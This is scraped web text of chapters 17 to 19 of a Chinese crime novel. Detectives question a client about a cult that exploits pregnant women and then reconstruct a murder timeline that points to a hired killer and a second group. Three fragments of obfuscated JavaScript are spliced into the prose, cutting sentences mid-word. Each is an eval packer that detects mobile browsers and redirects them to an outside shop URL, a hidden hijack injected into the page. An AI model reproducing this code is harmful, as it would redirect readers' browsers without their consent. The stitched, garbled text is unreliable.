p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15082098|162326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿便会成为“厄运命运体”。 它代表着厄运本身,出生后会为所有人带来不幸。 因此,必须要在它降世前,就把它杀死。 这样就算彻底杀死了厄运,断掉了这条因果。 如此,完整的“转孕珠”流程,是先让吸收了无数厄运的胎儿长大,再在其临盆前将它杀死,最后予以引产。 这对孕妇来说风险非常很大。 因此这项生意的收费,也就极为高昂,客户都是非富即贵的高端人士。 根据张晨阳的说法,最初他根本不信这些。 但他后来亲眼看到,好几个客户都因“转孕珠”改了运—— 有的在澳门赔得几乎倾家荡产,要了一次转孕珠服务后,马上绝地翻盘了;有的得了不治之症,头发都掉光了,要了几次转孕珠服务后,直接痊愈了。 见妻子情况危险,不能拖延,张晨阳抱着试一试、死马当活马医的想法,最终接受了这项服务。 他表示只和李虹做过三次,此后再也没见过她。 交代到这里,张晨阳立马看向身边的李慧敏道:“老婆你信我。我和她真没别的!我都是为了你的病啊!你看,你现在痊愈了,所以我觉得还是有用的……” 乳腺癌的治愈率相对来讲很高。 尤其是在发现得早的情况下。 张晨阳身为硕士,不问大夫、不查资料,一味地谈癌色变,咬定妻子就是得了不治之症的概率很小。 他不该真的相信“转孕珠”有所谓转移厄运的作用。 他应该清楚地知道,这些噱头,不过是在为某种特殊的性|癖在做粉饰而已。 张晨阳在叙述这段经历的过程中,明显美化了自己。 毕竟李慧敏这个人形ATM取款机,他得哄着供着,千万不能让她跑路。 看来想要他吐露实话,还得找他单独问询才行。 于是片刻之后,连潮发信息给从前城北分局的同事,让他们找了个理由把李慧敏支走了。 李慧敏一走,张晨阳的肢体语言都松弛了许多。 瞥一眼重新闭上的问询室大门,他转过身,给了连潮一个“哎哟警官原来你都懂同为男人就该互相理解下”的眼神。 连潮的表情反倒越显锋利。 “现在你可以承认了—— “你知道自己在嫖|娼,是不是?” 张晨阳耸了耸肩。“哎呀,真就那么三次。那之后我老婆管我管得可严了!连警官——” 连潮打断他,再厉声问了一遍:“你知道自己在嫖|娼,是不是?” 张晨阳终究点了头:“是。” “那么我再问你……李虹,或者说你认识的这个艾利,在你看来,她知道自己在卖|淫吗?” 淮市认识李虹的人不多。 但通过雇主、家政公司同事的描述,以及她家里的布置来看,能看出她是个勤劳、热爱生活的人。 她任劳任怨地照顾患有阿兹海默症的老人。 连潮很难把她的形象,与这个“艾利”联系在一起。 果然,只听张晨阳咽了口唾沫,随即道:“她……她好像还真不觉得自己是出来卖的。 “她对我说过……她是被选中的‘圣母’。” 连潮眉峰愈发凌厉。“圣母?” “是,圣母。” 张晨阳道,“我确实是觉得新鲜,没试过和怀着孕的……就试了一试,但艾利不觉得自己在卖,她坚定不移地认为,自己是被什么厄梵迦琉斯大帝选中的圣母……” “什么大帝?” “厄梵迦琉斯大帝,也就是Evangelius Rex。 “我可是学小语种的,前面那个听起来很复杂词,是由拉丁语Evangelium,和希腊词缀‘-ius’结合而成。翻译成中文,差不多就是‘会带来美好幸福消息的圣主’。 “连警官你放心,我知道我没什么本事,但我学语言是真有天赋。这些东西,听一次就能记住!” 连潮的表情已经变得有些凝重。 他沉声道:“继续。” “艾利亲口对我说过,她自带天命降世,来这个世上的目的就是为了……哦对了,她的原话是,为了‘渡尽世间苦厄’!她说她和腹中的孩子都是来做功德的!” 张晨阳暂时停顿了下来,似是在仔细回忆。 过了一会儿,他又道: “不瞒你说,我觉得艾利应该很早就被背后的团伙圈养起来,彻底被洗脑了。 “不然哪个好人家的姑娘,能心甘情愿地干这种事儿?皮|肉交易就算了,主要是……谁成天没事儿肯反复怀孕,杀死腹中胎儿、最后再引产啊?” “但是吧……我一个普通嫖|客,靠老婆脸色过活,自己都顾不过来,我怎么拯救她呢,你说是吧?” 张晨阳翘起了二郎腿,“哎呀,其实这世上,众生皆苦啊……” 17.Chapter17 当警察以来,连潮自认已见过足够多的恶徒。 然而即便如此,眼前的张晨阳举止行径,也让他不得不心生强烈的厌恶感。 张晨阳看到了连潮面上的厌恶。 不过他会错了意,担心连潮把自己列为了嫌疑人。 他当即将身体前倾,压低声音道:“连警官,我老婆不在,我也不跟您这儿演了。我确实不是人,我知道。但我绝对不是杀人犯啊,你们可千万别搞错了。 “您是淮市来的……那艾利,是死在淮市吧? “最近三个月,我根本没去过外地,不可能跑去淮市杀人啊!再说我和艾利,那都是六年前的事了! “对了,我老婆真不知道什么‘转孕珠’。你们别为难她了。当初她发现那包不见了……我就只是说自己一时鬼迷心窍,和一个女人好上了。 “主要我总不能告诉老婆,我嫖了个大肚子的孕妇吧,我怕她觉得我是变|态。” 谁还能比你变|态啊。 蒋民翻了个白眼,然后松了下衣领,他感觉自己脑袋嗡嗡响,快要气得无法呼吸、失去理智。 估计旁边的连潮也气得不轻。 虽然认识这位新领导的时间还不长,但蒋民还没见他的脸色这么可怕过。 但领导不愧是领导,这种情况下还能将注意力集中在凶案上,向张晨阳问道: “我需要你把你了解到的李虹,从性格、为人,到行为举止,全都详细告诉我。 “另外,她和她背后团伙里的人,是否发生过矛盾? “就比如这个花房子包,按理说,李虹应该上交给上面的人,上面的人再把她应得的那份折算成钱给她。 “那么,艾利有没有可能私藏这款包?他们会因为这款包发生矛盾吗?” 张晨阳这会儿倒是反问了:“如果是为了包杀人……凶手会把包拿走啊,它怎么会落你们手里?” 问出这话的张晨阳,并不知道完整地事情经过。 不过他的话有一定道理—— 那个包,已经是六年前的事了。 如果李虹背后的团伙是为了包杀她,何必等到六年后的现在? 连潮再问:“其他矛盾呢?比如艾利提出想走,团伙不让。又或者,团队担心她泄露什么机密,想灭口?” 想了一会儿,张晨阳摇摇头道:“据我所知,不会有这种情况发生。帝都这一片儿,都是那个叫玛丽的女人负责。她跟艾利关系挺不错的。 “当年我老婆发现我偷包后,告诉了我包的价格,我这一盘算,自己亏大了,马上就想找玛丽要包! “可不知道是不是帝都这边风声紧,她居然把我拉黑跑路了。去年我好不容易才重新加上她! “那包今年都涨到200万了!所以我没和那女人寒暄,直接就说想把包要回去,再重新付给她50万。我也想着,当年那包艾利肯定是上交给她了的呀! “谁知道玛丽告诉我,那个包,艾利虽然的确在第一时间就上交给了她。但后来艾利要走的时候,玛丽又把包还给了她,说是当做给她的遣散费和奖金——” 听到这里,连潮暂时打断他问道:“玛丽有没有说,艾利为什么要走?” “说了,说她身体不好,干不了这行了,两边就好聚好散了。妈的,她还说,她不知道艾利去了哪儿!” 张晨阳低声骂了句,“丫肯定骗我呢!她肯定知道艾利的下落!这个女人挺神通广大的。你想想,她能在皇城根脚下吃这么开,怎么会是等闲之辈? “只不过呢,玛丽估计怕我找艾利的麻烦,所以骗我说,不知道她的下落……” 连潮微微眯了一下眼睛。 “按你的意思,艾利和玛丽,甚至于艾利和玛丽背后的团伙,完全没有任何矛盾?” “我不觉得有。玛丽不知道艾利的下落,这肯定是句谎话。但其他的,我觉得她说得都是真的。 “害,我告诉你们,越有钱的人,越封建迷信,反正钱对他们来说,已经只是数字了,万一转孕珠没用,也没什么,无非是卡上的数字减少一点而已嘛。可万一有用,他们能给自己改命续命呢! “反正据我所知,玛丽他们忽悠了不少有钱人。之前她找了个大客户,给那人转运,一年就赚了一千多万! “玛丽赚得多,人也不小气,不至于因为一个包杀了艾利呀。估计她都看不上这三瓜两枣。 “艾利是玛丽一手带起来的……一直喊她‘嬷嬷’呢。两人之间感情挺不错的,应该没有矛盾。” 摆摆头,张晨阳感慨般又说了句:“艾利那种,是他们团伙的最底层,生活相对封闭,接触的人也少,根本不知道什么秘密吧? “如果她真知道什么秘密,玛丽能让她走,能让她活到现在?我觉得不会的。 “再说了,艾利老实得很,又被彻底洗脑了,即便知道点什么,也觉得团伙那么做,都是有道理的。 “该怎么解释她给我的感觉呢……嗯,就是,她知道她和团伙做的事情,是违法的,也是违反道德的。 “但她不觉得她和团伙真的有罪! “在她看来,她和团伙的人在做正确的事情,只是不被世人理解而已。世人愚昧,警察也愚昧,不相信厄梵迦琉斯大帝的存在,才会觉得他们有罪。 “她感谢玛丽、也感谢团伙,她知道那些事情说出去,会给她自己和玛丽他们带来麻烦,她不会乱说。” 连潮的表情越来越凝重。 显然,这个团伙的性质,非同小可。 连潮皱紧眉头,再问张晨阳:“其他人呢?李虹有向你抱怨过,和谁结过仇吗? 张晨阳再次摇头。“没听说过。艾利……她傻乎乎的,逆来顺受,性格脾气都好,轻易不会和人结仇。” 连潮停顿了片刻,手指轻轻往桌上一叩,再问: “那么,李虹腹中孩子的父亲,你知道是谁吗?” 如果凶手不是团伙的人,有没有可能,李虹正常交了个男朋友,一直以来怀的都是她男友的孩子? 这位男友当年不知道转孕珠的事,也不知道孩子们为什么都变成了死胎,可是现在他知道了,于是因爱生恨,杀了李虹? 却听张晨阳道:“哟,这我还真知道。‘功德道人’!” 连潮问:“什么道人?” “功德道人。”张晨阳道,“哦我前面没说是吧?李虹不是以为自己是圣母吗?在她的眼里,功德道人是圣父!圣父和圣母结合而成的胎儿,才有资格当‘转孕珠’。 “哎呀这些都是玛丽他们那个团伙,为了给李虹那种乡下出来的傻姑娘洗脑,才编造出来的噱头! “妈的,什么功德道人,编出这种理由免费嫖|娼差不多……哈,我看这种事情做多了呢,果然伤身体!怪不得死得早,哈——!” 连潮眉峰一凛。“你说什么?谁死了?” “功德道人死了!反正李虹跟过的那个死了。 “我听说啊,他们团伙有好些个功德道人,专门负责和女人双修阴阳和谐大法什么的,转孕珠也必须由他们亲自双修传功才能成功。 “艾利跟我说过,她一直跟着一个固定的功德道人。 “……害,还不是为了拿回那200万的包,去年我费尽千辛万苦,才找到那个功德道人,想着也许他和艾利还有联系。结果他人躺在医院里,不仅不知道艾利去哪儿了,还没两天就去西天了。 “笑死,丫去西天求他妈的功德吧…… “不是,连警官你评评理,我嫖,好歹是花了钱的。那些功德道人纯靠骗啊!” · 今日上午,宋隐去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15087543|162326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 趟省会城市临津,为的是把那些死胎的骨头,送到上级单位的法医理化中心做检验。 下午五点半,他回到了淮市。 刚打上回市局的车,连潮的电话来了。 “宋隐,在哪儿?” “回市局的路上。关于DNA检验,就算加急,也得等一周以上。我会找当年带教过我的老师——” “不要紧,现在看来,检验结果反而不着急了。凶案的调查方向有问题,得做出调整。” 听出连潮的声音有些沉重。 宋隐蹙了蹙眉:“发现什么问题了?” “戴耳机了吗?” “嗯。” “好。是这样——” 15分钟后。宋隐回到市局。 他一边继续和连潮保持通话,一边走向办公大楼。 得知最新的调查情况后,他明白了连潮打这通电话的用意,问:“你暂时回不来?” “会耽误两三天。但不会太久。” 连潮道,“往轻点看,这背后是一个性质恶劣的卖|淫组织,往大点看,也许会扯上邪|教。 “针对此事,帝都这边会成立专案组,我不需要进组,不过得留两天,把李虹相关的疑点梳理清楚。” 听到这里,宋隐颇为严肃地走进办公室。 “难道……李虹的死,与她背后的团伙无关?” “目前还看不出明显关联。暂时没有了解到她和团伙的人结过仇,她孩子们的父亲,也已经去世了。” 连潮道,“为了找到李虹要回包,张晨阳这些年费功夫查到了不少信息,包括跟李虹接触过的其他客户。 “等与他们取得联系后,我会再做进一步的确认。 “不过……破案方向,我们多半需要重新考虑了。” 宋隐走到了一块白板前。 他拿起黑色的记号笔,写下—— 李虹(1-18岁):位于丽市。 李虹(18岁-30岁):疑似进入某邪教组织。 李虹(30岁-32岁):淮市,家政人员,被杀。 然后宋隐在旁边空白处,写下“木雕娃娃”一词,将之画了个圈后,用箭头指向了18岁到30岁这个阶段的李虹。 至此,李虹来淮市之前这段空白的、不为人知的人生,总算被拼凑完整了。 木雕娃娃这个元素,对应的不是金沙河事故的遇难孩童,而应该是李虹肚子里的死胎。 按理,让她怀孕的那个男人依然嫌疑最大。 否则凶手的仪式感到底从何而来? 可如果张晨阳没搞错的话,这个男人已经死了。 李虹从前的那段黑暗经历,固然惹人唏嘘扼腕,她背后的团伙,也固然令人毛骨悚然…… 但也许这一切,跟她的死亡,并没有直接关联。 ——那么,到底是谁杀了她? 宋隐抬手压了一下蓝牙耳机,对连潮道:“真凶如果不从李虹的过去找,那就只能从现在找。 “从社会关系看,现在与她交集较深的,无非是福利院的人、绘画培训班的老师、街坊邻居、家政中心的同事、还有聘用她的雇主。 “可是……我记得已经针对这些人,全部做了初步排查,所有人都有不在场证明。” “确实,所以现勘方面,一定还有遗漏的地方,” 连潮道,“我们需要去第一案发现场,做个完整的现场重建。其实这个工作早就该做了,只不过目前的警力都放在了挖掘李虹过去的故事上——” “等等,我想到了。” 宋隐目光微微闪烁了一下,“我等会儿带着小卓过去一趟。我知道哪里有问题了。 “关于凶手第一次放走李虹的原因……我们之前推测的不对。我马上会去现场做个验证。” 18.Chapter18 晚上8点。 宋隐和卓宛白吃过晚饭后,来到了育林小区的地下车库。 李虹的车位周遭还围着警戒线。 至于李虹倒下的位置,连同周围的血迹,全都用白色的粉笔做了标注。 宋隐戴上手套与脚套,去到了凶手当时潜伏起来的位置,再对卓宛白道: “小卓,我扮成凶手,你扮成李虹。我们把凶案当晚的整个过程走一遍。” “完整过程?”卓宛白向宋隐确认,“是从李虹第一次回家的时候开始吗?” “嗯。”宋隐道,“你记得把手机拿出来,打开计时器,把做每件事的时间,都做一个确切的记录。” 具体来讲,李虹那晚具体的行动线,可以拆分为以下几个阶段—— 1、从地库出口离开,穿过一段甬道,进入电梯。 2、乘电梯从负一层到第三层,离开电梯,回家。 3、对着那幅画点香,祭拜。 4、离开家,乘电梯回到负一层。 5、从电梯间穿过甬道,回到地库出口。 卓宛试验了数次,这五个阶段的平均用时,分别为35秒、45秒、90秒、30秒、35秒。 最后卓宛白跑回宋隐身边,喘了口气问:“宋老师,还要再来吗?” 宋隐摇摇头,递给她一张表:“今晚出发前,我找胡大庆重新要了那晚电梯间的监控记录,你看看,有没有发现问题。” 只见宋隐写下的表上列着: 凌晨1点05分(地库监控):李虹离开地库出口 凌晨1点06分10秒(电梯监控):李虹进入电梯 凌晨1点06分40秒(电梯监控):李虹离开电梯 凌晨1点23分50秒(电梯监控):李虹进入电梯 凌晨1点25分(地库监控):李虹回到地库出口 “李虹从地库出口走到电梯,用了70秒,比我要久一点。不过那晚她看上去很累,走得很慢,再加上等电梯的时间,也合理,没有异常。” 卓宛白有些不解地看向宋隐。 “宋老师,李虹凌晨1点05分离开地库,25分又下来了……这中间间隔了20分钟,是因为她下楼关车灯前,点了香,做了祭拜仪式,还可能上了个厕所什么的。这有什么问题吗?” 宋隐是在和连队打电话的时候想到不对劲的,后来又找胡大庆要了电梯间的监控,这便确定了问题所在。 不过为求稳当,以免有其他没考虑到的情况,他又让卓宛白沿着李虹的行动线实际走了几遍。 现在他已能确认,他们所有人,都遗漏了一个关键信息。 宋隐放下手电筒,看向卓宛白道:“你记录的那张表,和我这张表,虽然时间上略有差异,但行动步骤是完全一致的。但是—— “这两张表上,都漏了一个步骤。” 卓宛白眨了眨眼。“嗯?漏了什么。” 眼神微微一凛,宋隐道:“凶手给李虹发好友申请时间,以及李虹加上凶手,给他发微信的时间。” 宋隐的话好像忽然点醒了什么。 卓宛白蓦地瞪大眼睛,随即打开手机的工作文档翻找起来。 “有了……李虹是在凌晨1点06分35秒,给凶手发的那条‘感谢提醒,应该是我的车,我这就下去’。” 卓宛白的声音当即拔高几分: “诶?不对啊!这个时候,李虹才刚刚进家门! “这还是李虹回消息的时间,凶手给她发好友申请的时间只会更早! “凌晨1点5分,凶手看着李虹从自己面前经过。过了仅仅两分钟不到,他就给李虹发了车灯没关的消息……这、这太古怪了吧!! “现在的实际情况,确实是李虹先点了香,再下楼关车灯的,这中间隔了足足有20分钟! “但凶手怎么能确定她会这样做呢?李虹看到微信,完全可能先出门关车灯,再回家点香啊! “凶手其实根本没有给李虹留点香的时间呐!” 关于李虹案,目前只召开过一次案情会议。 由于案情复杂,疑点繁多,时间又紧张,连潮也就尚未来得及组织相关人员,进行完整地犯罪现场重建,关于凶手和死者的行动线,尚未进行细致的拆解。 因此就连宋隐和连潮,都忽略了一个关键细节,以至于对凶手的行为逻辑有了误判—— 李虹两次出现在地库出口的时间间隔是20分钟,这期间她去点香做仪式了,由此倒推凶手放走她,是为了让她点香,乍一看这个逻辑确实合理。 可如果把时间线继续拆分,注意到凶手发好友申请的时间点,这个理由一下子就站不住脚了。 此时宋隐再道:“如果凶手第一次放李虹离开,是为了让她点香,除了要留够时间外,还得有个前提—— “凶手一定观察过李虹一段时间,确保她每晚回家后,都会雷打不动地,第一时间就赶去点香才行。 “至于这个前提是否成立…… “走吧,再去李虹家看一下。” 三分钟后,宋隐和卓宛白来到了李虹的住处。 有时候会感觉房子是活的、是主人的伴生物。 一旦主人离去,它便成了被抽干精魂的躯壳,快速衰败起来—— 李虹去世不过短短几日,这间房子的墙角却已结了很多蛛网,看起来破旧了很多。 房子的布局很简单。 玄关是一条窄而短的走廊,正对着门的走廊尽头,是那幅奇怪的画、满墙的护身符、以及一个香炉。 进门左手边是一面墙,右手边则是一排储物柜,在靠近大门的地方,留出了一条通往餐厅与客厅的过道。 客厅的尽头便是阳台了,那里种了许多植物,现在已经开始衰败。 刚一进门,宋隐就在玄关处走了个几个来回。 经确认,由于那排长柜子的遮挡,站在这里,根本无法看到阳台的情况。 而光路是可逆的。 由此可以推测,站在阳台,也无法看见玄关处的情况。尤其是那幅画和香炉,将彻底处在视角盲区中。 为了确认这一点,宋隐又去到了阳台,站在那里回望向玄关。 他发现自己确实看不到那幅画和香炉,它们彻底被那一长排柜子遮住了。 最后宋隐再拿出望远镜,朝阳台外的远方望了去。 “宋老师,”卓宛白走过来问,“有什么发现?” 宋隐道:“凶手没有在小区的单元楼门口、电梯间等任何摄像头里留下身影。 “再有,连队先前带着人来李虹家做了完整的现勘,能确认屋子只有李虹一个人的生活痕迹,没有被入侵过,也没有被安装针孔摄像头等东西。” 对于宋隐进屋后一系列举动的用意,卓宛白这下明白了:“这种情况下,如果凶手能知道,李虹每晚都会上香,只能是通过阳台进行了偷窥!” “是。”宋隐放下望远镜,“不过李虹家住三楼,阳台的窗户被小区的树木遮挡得很严密。 “更何况,玄关用柜子做了隔断,摆着香炉的地方,更在视线盲区内,从阳台外根本没法看到。 “所以现在可以确定了—— “我刚才说的那个前提,完全不成立。 “也就是说,凶手从头到尾,都不知道上香的事。” 温度好似无端降了几度。 卓宛白下意识裹紧大衣,忍不住问:“那凶手到底为什么……为什么第一次会放李虹走?” 宋隐走回客厅,视线落在了茶几上,那里放着一幅应该是由李虹自己完成的十字绣。 那幅十字绣绷在原木色的框里,针脚间距分毫不差,不同色块间没有任何一丝越界的线条,绣得就像是复制粘贴制造出来的那般工整—— 工整得就像,杀死李虹的凶手的行动步骤一样。 宋隐在案子的最初,就感觉凶手很像职业杀手。 他提前在小区踩点,摸清楚了所有监控的位置,制定好了自己的行动方式。 他知道自己只能在夜深人静,地库车多人少的时候,才有机会混进去埋伏,但那个时候李虹有可能已经回家了,那么他就得找个理由把她骗出来。 通过修车行,他知道了不久前李虹忘关车灯、换电瓶的经历,于是想到了骗她出来的办法,然后购买了身份证号注册了微信,混进了物业群…… 而这也意味着,制定杀人计划时,他甚至去小区附近的修车行、食品商店等地方仔细打探过李虹的消息。 从杀人策略的设计,再到实施过程来看,凶手冷静自持、行动高效,就像一个冷血好用的杀人机器。 这样的侧写,完全符合职业杀手的特征。 但先前宋隐没有轻易下定论,主要有两个原因: 第一,既然是职业杀手,为什么只处理了钢管,而没处理其他任何证据? 他怎么可能把李虹的车、用过的针线和刀,随便丢在河边?他为什么完全没有处理尸体? 第二,职业杀手杀人,是拿钱办事。 他有什么必要画蛇添足地,搞出一个仪式来? 现在不妨换个角度考虑问题。 暂时不管这两个疑点,假设凶手就是职业杀手,再来反推真相,会怎么样呢? 根据杀手的特写,他是一个精心制定杀人计划,并会严格按计划行事的人。 按理,他不会心生恻隐,也不会犹豫不决。 所以他第一次放走李虹,绝不是出于自身原因。 那么原因只能从外部来找了。 比如,杀手是不是和雇主在沟通上,出现了什么问题? “你确定动手吗?我怎么感觉你不想杀她?” “我的尾款能提前付一部分吗?我收到后才会动手。” “我决定今晚动手,你认为是否可行,请回复并确认行动。” …… 杀手可能给雇主发了类似这样的消息。 可雇主没有及时回复。 因此李虹第一次经过自己面前时,杀手只能眼睁睁看着她离开。 可恰恰就在两分钟不到的时间内,雇主给了他确切答复,杀手这便发了微信,试图把李虹再骗出来一次。 话说回来,如果这个推理是正确的…… 那个木雕娃娃,和杀人仪式又是怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15091285|162326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回事? 确实有一种可能是,往李虹肚子里放娃娃,是雇主要求的,所以杀手这么做了。 可杀手依然不可能把也许会留下自己生物痕迹的针线、刀具,随意丢在河边。 这么看来,答案只有一个了—— 那个木雕娃娃,并不是杀手放进去的。 这件事是另外的人做的。 这局棋,果然早已被人为操纵过。 “滴答”“滴答”“滴答”…… 窗外并没有下雨。 可宋隐错觉自己听见了雨声,并且闻到了血腥味。 胃部传来了熟悉的反酸感。 他又想喝苏打水了。 就在这个时候,手机开始震动。 宋隐拿出手机,看到屏幕上出现了“连潮”两个字。 宋隐垂眸,盯着屏幕不动,像是发起了呆。 不过他的拇指倒是先于大脑,下意识地按下了接听键。 紧接着连潮低沉磁性的声音,从手机里响起:“宋隐。到现场了吗?你那边查得怎么样?” “宋隐……宋隐?” 愣神片刻后,宋隐拿起手机,深呼吸一下,随即道:“凶手的侧写之所以存在矛盾,是因为那晚见过李虹尸体的,不止他一个。木雕是其他人放进去的……” 宋隐简单概述了自己的想法。 听罢半晌后,连潮道:“所以那晚凶手去金沙河——” 宋隐言简意赅:“抛尸。他只是想去抛尸。” 职业杀手杀完人,为什么会带李虹的尸体去河边? 抛去木雕娃娃带来的仪式感的干扰,其实从最朴素、最符合常理的角度去推测,他只是为了抛尸而已。 凶手杀人杀得很专业,处理尸体和证据的手法应该也很专业,他本不会把尸体随便放在河滩上,不会把李虹的车随便扔在那里,更不会做什么仪式。 现在只有一种可能了—— 杀人容易埋尸难。制定好杀人计划后,接下来凶手要考虑的,便是如何毁尸灭迹。 正式动手前,为了选择淮市本地合适的抛尸地点,他通过互联网进行搜索,注意到了赫赫有名的金沙河。 他应该也看到了那些自媒体发的新闻,诸如每年10月金沙河灵异事件频发、10月份千万别去金沙河、曾经的旅游胜地金沙河如今却无人问津等等。 凶手得以知道,这段时间去金沙河的人非常少,尤其是三更半夜。 那么他抛尸时,被目击的可能就很小。 金沙河下游白崖山那里,有一条暗沟。 五年前那场事故中,所有遇难者的尸体,都在那里找到了。 如果将李虹抛尸金沙河,尸体大概率也会出现在暗沟里。 但那个暗沟位于悬崖峭壁的底部,周围山体险峻、水流湍急,除非是专业的打捞队,一般人出现在那里的可能非常小。李虹的尸体在短时间内被发现的概率,也就非常小。 因此,综合考虑下来,凶手决定在金沙河抛尸。 案发当晚,凶手开着李虹的车,带着她去到河边,将车停好后,开始着手处理凶器和尸体。 被用作凶器的钢管相对较轻,凶手停好车后,也就先把它从车上取下来,扔进了河中。 接下来凶手就该处理尸体了。 哪知他刚把尸体从车上取下、搬到河边,就在这个时候……另一伙人出现了。 对于凶手来说,他们全都是目击证人,当然应该全杀了灭口,一起丢进金沙河。 可那伙人的数量可能比较多,并且身上可能有武器,凶手第一时间判断出,自己没法以少敌多。 凌晨时分,河边光线昏暗,那些人也许没有看清自己的脸,那么对他来说,赶紧跑路才是最好的选择。 至于李虹的车、尸体等证据,来不及处理,也就只有不处理了。 他早点先跑,也许还能争取赶在警方的通缉令发出之前,躲到一个不容易被抓住的地方。 凶手为什么单单只处理了凶器,却把针线刀具、尸体和车,就那么摆在河岸上…… 至此,这些疑点总算都有了解释。 连潮的声音不由变得凝重。 “宋隐,如果是这样,那伙人的目的,就不简单了。他们像是在故意干扰警方思路,或者说……” 沉默片刻后,宋隐替他说出了一个词—— “借刀杀人。” · 宋隐的话,自然也一字不落地落到卓宛白耳朵里。 她没打扰宋隐与连潮沟通,不过忍不住在心里盘算,如果李虹的死,跟她那段复杂黑暗的过去无关,那真正的凶手,只能从她当前的社会关系去排查。 李虹在淮市认识的人,无非是快递员、小区门卫、邻居、同事、培训班老师、还有她的雇主。 既然杀手可能是雇来的,这些人的不在场证明就没有用了。 可是,若要说其中有财力能买凶杀人的…… 李虹雇主一家的嫌疑最大。 毕竟那可是当地大豪门。 只是……如果真凶的出自那一家人,他的动机是什么呢?他有什么必要,非要杀一个家政人员? 19.Chapter19 杀李虹的凶手,原本没有想过执行任何仪式。 另一伙人往她的尸体肚子里放了个木雕娃娃,警方这才看出了仪式感,继而认为她的死,多半与她来淮市之前未婚生子的经历密切相关,于是将大量警力都放在了挖掘她的过去上。 诚然,就算没有木雕娃娃,通过李虹的那款价格不菲的包,警方现在也查到了“转孕珠”。 但仔细想想,这其实是个偶然事件。 李虹去二手交易商店,询问那款包现在能卖多少钱,这件事如果不是恰好发生在近期,警方其实很难通过监控发现,也就很可能会错过这条线索。 可是木雕娃娃不一样。 因为它,警方才查到了公墓里埋葬的婴儿骨头。 这种情况下,即便没有那款包,后面警方大概率也能顺藤摸瓜,查到“转孕珠”的相关犯罪团伙。 更何况那些婴儿骨头,才会是能为那伙人定罪的关键性证据,比其余口供、聊天记录一类的有力太多了。 因此,那伙人伪造“仪式感”,目的就是引导警方的侦查方向,确保“转孕珠”的故事,能被尽快挖出来。 他们恐怕是想借警方的手,除掉那个“转孕珠”组织。 也即所谓的“借刀杀人”。 宋隐感觉自己魂魄离体,飘向了虚空,然后俯身而下,看到了久远的从前—— “滴答滴答”…… 天空又下起了雨。 父亲的尸体摆在冰冷的地板上,血从身体里流出的声音,和下雨的节奏奇妙地融入到了一起。 难闻的血腥味不断从他的胸口溢出,至于他伸出来的那只手臂,则被刀刻了一个伞状符号。 然后宋隐听见了“啪啪”两下敲窗户的声音。 那是一个16岁的少年,正用苍白的指节敲着窗户。 他湿透的额发紧贴玻璃,水痕顺着轮廓分明的脸不断、不断地往下淌。 “求求你,放我进去吧!” 12岁的宋隐走上前,伸手推开了窗户。 紧接着却听见“啪”的一声响—— 那是25岁的宋隐,从虚空中伸出了两只手,猛地一下把窗户给合上了。 然后25岁的宋隐低下头,对上了窗外那名16岁的少年抬头看向自己的错愣目光。 “宋隐,帮帮我。” “你这次怎么不帮我了?” “人真不是我杀的。你连我都不信吗?” “宋隐……宋隐?!!” …… “宋隐。” “宋隐?还在吗? “宋隐?宋隐!你没事儿吧?” 宋隐像是得了失魂症,忽然被人喊魂喊了回来,然后他的魂魄回归身体,意识到自己还在李虹家。 低下头,宋隐看见手机屏幕写着:“正在通话。” 他奇异地感觉到,悬浮的心脏落回了原来的位置。 手机那头的人才是连潮。 真正的连潮。 刚才最后那几声“宋隐”……是他喊的。 不是记忆里的那个人。 手机里,连潮的声音骤然变大。“宋——” “我没事。” “真没事?” “嗯,就是想案子想走神了。” “好,那么宋老师,照你看来,如果真的存在‘另一伙人’,他们会是谁?” 宋隐捏紧手机,指节因为用力有些发白。 片刻后他开口道:“不知道。也许‘转孕珠’这个犯罪团伙得罪了谁。道上的黑吃黑。” 连潮又问:“可‘那伙人’又怎么会知道,李虹会被抛尸在金沙河,以至于算准时间赶了过去?” 宋隐摇头:“不知道。” 连潮的声音更沉了。“现在我只能猜测,那个犯罪团伙里,有人一直在关注李虹,就先假设他是X吧。 “那位杀手为了杀李虹,很早就开始跟踪调查她,这件事被X察觉到了。 “但X并没有阻止杀手,而是想到了如何利用这件事,来干扰警方的调查思路,进而除掉这个犯罪团伙。” 宋隐问:“他既然是团伙里的人,为什么这么做?” 连潮道:“这件事既然可能涉及邪|教,也许那教派内部有好几个不同的分支。这个X可能是基于内部斗争,想排除异己,才这么做的。具体不清楚。不过他是内部人员的可能很大,毕竟他了解李虹的过去。 “另外,金沙河那种地方,人迹罕至,凶手抛尸的时候还是凌晨。所以X出现在河边,一定不是巧合。 “搞不好案发当晚,他跟踪了杀手。我会安排人再排查一下当晚金沙河附近路段的监控。” 宋隐点点头:“嗯,你说得有道理。” “嗯,关于最新调查结果,明早我会通过视频会议同步给其他人。接下来我们先重点调查李虹雇主那一家。” “好。” “宋隐?” “嗯?” “今天辛苦了,早点回家吧。” “好。再见。” “再见。” 帝都城北分局,会议室改造的临时办公区内。 刚挂掉电话的连潮,五官凌厉,表情严肃。 